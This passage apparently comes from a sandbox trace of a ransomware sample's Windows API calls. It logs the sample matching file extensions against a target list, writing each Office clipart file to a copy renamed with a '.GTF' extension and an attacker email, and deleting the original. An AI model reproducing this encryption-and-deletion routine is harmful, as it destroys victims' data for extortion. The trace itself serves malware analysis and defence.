	[0086.923] lstrlenW (lpString=".1cd") returned 4
	[0086.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.923] lstrlenW (lpString=".jpg") returned 4
	[0086.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.923] lstrlenW (lpString="EN00397_.WMF") returned 12
	[0086.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.925] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=17308) returned 1
	[0086.925] CloseHandle (hObject=0x35c) returned 1
	[0086.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220
	[0086.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.926] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.926] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.927] GetLastError () returned 0x0
	[0086.927] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x439c, lpOverlapped=0x0) returned 1
	[0086.934] WriteFile (in: hFile=0x390, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x43a0, lpOverlapped=0x0) returned 1
	[0086.935] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.935] WriteFile (in: hFile=0x390, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.935] SetEndOfFile (hFile=0x390) returned 1
	[0086.935] CloseHandle (hObject=0x390) returned 1
	[0086.935] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.935] SetEndOfFile (hFile=0x368) returned 1
	[0086.936] CloseHandle (hObject=0x368) returned 1
	[0086.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1
	[0087.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.050] lstrlenW (lpString=".doc") returned 4
	[0087.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.050] lstrlenW (lpString=".docx") returned 5
	[0087.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.059] lstrlenW (lpString=".pdf") returned 4
	[0087.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.059] lstrlenW (lpString=".xls") returned 4
	[0087.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.059] lstrlenW (lpString=".xlsx") returned 5
	[0087.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.059] lstrlenW (lpString=".ppt") returned 4
	[0087.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.068] lstrlenW (lpString=".zip") returned 4
	[0087.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.068] lstrlenW (lpString=".rar") returned 4
	[0087.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.068] lstrlenW (lpString=".bz2") returned 4
	[0087.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.068] lstrlenW (lpString=".7z") returned 3
	[0087.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.074] lstrlenW (lpString=".dbf") returned 4
	[0087.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.074] lstrlenW (lpString=".1cd") returned 4
	[0087.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.074] lstrlenW (lpString=".jpg") returned 4
	[0087.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.074] lstrlenW (lpString=".doc") returned 4
	[0087.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString=".docx") returned 5
	[0087.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.074] lstrlenW (lpString=".pdf") returned 4
	[0087.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.074] lstrlenW (lpString=".xls") returned 4
	[0087.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.075] lstrlenW (lpString=".xlsx") returned 5
	[0087.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.075] lstrlenW (lpString=".ppt") returned 4
	[0087.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.075] lstrlenW (lpString=".zip") returned 4
	[0087.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.075] lstrlenW (lpString=".rar") returned 4
	[0087.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.075] lstrlenW (lpString=".bz2") returned 4
	[0087.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.075] lstrlenW (lpString=".7z") returned 3
	[0087.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.075] lstrlenW (lpString=".dbf") returned 4
	[0087.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.075] lstrlenW (lpString=".1cd") returned 4
	[0087.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0087.075] lstrlenW (lpString=".jpg") returned 4
	[0087.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.075] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.075] lstrlenW (lpString="FD00090_.WMF") returned 12
	[0087.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.076] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=14194) returned 1
	[0087.076] CloseHandle (hObject=0x378) returned 1
	[0087.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220
	[0087.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.076] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.076] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.077] GetLastError () returned 0x0
	[0087.077] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3772, lpOverlapped=0x0) returned 1
	[0087.078] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3780, lpOverlapped=0x0) returned 1
	[0087.079] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.080] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.080] SetEndOfFile (hFile=0x35c) returned 1
	[0087.080] CloseHandle (hObject=0x35c) returned 1
	[0087.080] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.080] SetEndOfFile (hFile=0x378) returned 1
	[0087.081] CloseHandle (hObject=0x378) returned 1
	[0087.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1
	[0087.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.081] lstrlenW (lpString=".doc") returned 4
	[0087.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.081] lstrlenW (lpString=".docx") returned 5
	[0087.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.081] lstrlenW (lpString=".pdf") returned 4
	[0087.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString=".xls") returned 4
	[0087.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.082] lstrlenW (lpString=".xlsx") returned 5
	[0087.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.082] lstrlenW (lpString=".ppt") returned 4
	[0087.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.082] lstrlenW (lpString=".zip") returned 4
	[0087.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.082] lstrlenW (lpString=".rar") returned 4
	[0087.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString=".bz2") returned 4
	[0087.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString=".7z") returned 3
	[0087.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.082] lstrlenW (lpString=".dbf") returned 4
	[0087.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.082] lstrlenW (lpString=".1cd") returned 4
	[0087.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.082] lstrlenW (lpString=".jpg") returned 4
	[0087.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.082] lstrlenW (lpString=".doc") returned 4
	[0087.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.082] lstrlenW (lpString=".docx") returned 5
	[0087.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.082] lstrlenW (lpString=".pdf") returned 4
	[0087.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.083] lstrlenW (lpString=".xls") returned 4
	[0087.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.083] lstrlenW (lpString=".xlsx") returned 5
	[0087.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.083] lstrlenW (lpString=".ppt") returned 4
	[0087.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.083] lstrlenW (lpString=".zip") returned 4
	[0087.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.083] lstrlenW (lpString=".rar") returned 4
	[0087.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.083] lstrlenW (lpString=".bz2") returned 4
	[0087.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.083] lstrlenW (lpString=".7z") returned 3
	[0087.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.083] lstrlenW (lpString=".dbf") returned 4
	[0087.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.083] lstrlenW (lpString=".1cd") returned 4
	[0087.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0087.083] lstrlenW (lpString=".jpg") returned 4
	[0087.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.083] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.083] lstrlenW (lpString="FD00096_.WMF") returned 12
	[0087.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.084] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=37390) returned 1
	[0087.084] CloseHandle (hObject=0x378) returned 1
	[0087.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220
	[0087.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.084] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.085] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.085] GetLastError () returned 0x0
	[0087.085] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x920e, lpOverlapped=0x0) returned 1
	[0087.088] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x9210, lpOverlapped=0x0) returned 1
	[0087.089] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.089] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.089] SetEndOfFile (hFile=0x35c) returned 1
	[0087.090] CloseHandle (hObject=0x35c) returned 1
	[0087.090] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.090] SetEndOfFile (hFile=0x378) returned 1
	[0087.091] CloseHandle (hObject=0x378) returned 1
	[0087.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1
	[0087.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.091] lstrlenW (lpString=".doc") returned 4
	[0087.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.091] lstrlenW (lpString=".docx") returned 5
	[0087.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.091] lstrlenW (lpString=".pdf") returned 4
	[0087.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.091] lstrlenW (lpString=".xls") returned 4
	[0087.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.091] lstrlenW (lpString=".xlsx") returned 5
	[0087.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.092] lstrlenW (lpString=".ppt") returned 4
	[0087.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.092] lstrlenW (lpString=".zip") returned 4
	[0087.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.092] lstrlenW (lpString=".rar") returned 4
	[0087.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString=".bz2") returned 4
	[0087.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString=".7z") returned 3
	[0087.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.092] lstrlenW (lpString=".dbf") returned 4
	[0087.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.092] lstrlenW (lpString=".1cd") returned 4
	[0087.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.092] lstrlenW (lpString=".jpg") returned 4
	[0087.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.092] lstrlenW (lpString=".doc") returned 4
	[0087.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString=".docx") returned 5
	[0087.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.092] lstrlenW (lpString=".pdf") returned 4
	[0087.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.092] lstrlenW (lpString=".xls") returned 4
	[0087.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.092] lstrlenW (lpString=".xlsx") returned 5
	[0087.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.093] lstrlenW (lpString=".ppt") returned 4
	[0087.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.093] lstrlenW (lpString=".zip") returned 4
	[0087.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.093] lstrlenW (lpString=".rar") returned 4
	[0087.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.093] lstrlenW (lpString=".bz2") returned 4
	[0087.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.093] lstrlenW (lpString=".7z") returned 3
	[0087.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0087.093] lstrlenW (lpString=".dbf") returned 4
	[0087.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
